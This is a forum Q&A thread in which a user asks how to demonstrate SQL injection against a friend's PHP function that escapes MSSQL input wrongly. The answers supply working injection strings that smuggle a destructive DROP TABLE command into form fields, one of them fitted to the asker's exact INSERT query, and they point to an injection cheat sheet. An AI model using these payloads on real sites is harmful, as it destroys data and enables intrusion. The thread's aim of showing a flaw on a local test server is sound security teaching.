bad SQL Server anti-injection

My friend is running a website, and has a PHP function to escape his MSSQL statements. However, he isn't doing it properly. He is using \ for his escape character when it should be '. However, when trying to explain it to him that it isn't properly being escaped, he disagreed and wouldn't listen and invited me to try to preform some injection. I told him, I wouldn't do it directly on his site开发者_如何学C, but I would run my webserver on my computer tomorrow to show him. However, I'm not really sure how to go about doing this because even though it's being escaped wrong, throwing that backslash in is rendering the query invalid with invalid syntax and therefore, won't execute. I was wondering if anyone had any input on how to get around this.

My example query will look like this, which is similar to his:

mssql_query("INSERT INTO Tbl_user (user_no,user_id,user_mail) VALUES ('".mssql_escape($dk_user_no)."','".mssql_escape($_POST['accname'])."','".mssql_escape($_POST['accmail'])."')");

---

The standard tricks for MSSQL are to use ; to finish the current query and start a new one, and -- to drop the end of the query and ignore syntax errors. So something like this may work (assuming that the query you are exploiting has no line breaks in it):

'; DROP users --

For more tricks see http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/.

---

For example, if your query is (please, tell me that password is really a hash):

SELECT * FROM users WHERE username='var1' AND password='var2'

Imagine var2 being \''; DROP TABLE users; --. Your complete query would be:

SELECT * FROM users WHERE username='var1' AND password='\''; DROP TABLE users; --'

This translates to:

SELECT * FROM users WHERE username='var1' AND password='\''
DROP TABLE users

Oh noes, you just killed your database. Boom.

---

Whoops, just re-read your question. Could you provide your query? That would be quite helpful...

---

For the accmail parameter post this string

'); drop table Tbl_user --

"Escaped:" this will be \'); drop table Tbl_user --

When the query is formed through concatenating the string this will give

INSERT INTO Tbl_user (user_no,user_id,user_mail) VALUES ('$dk_user_no','accname','\'); drop table Tbl_user --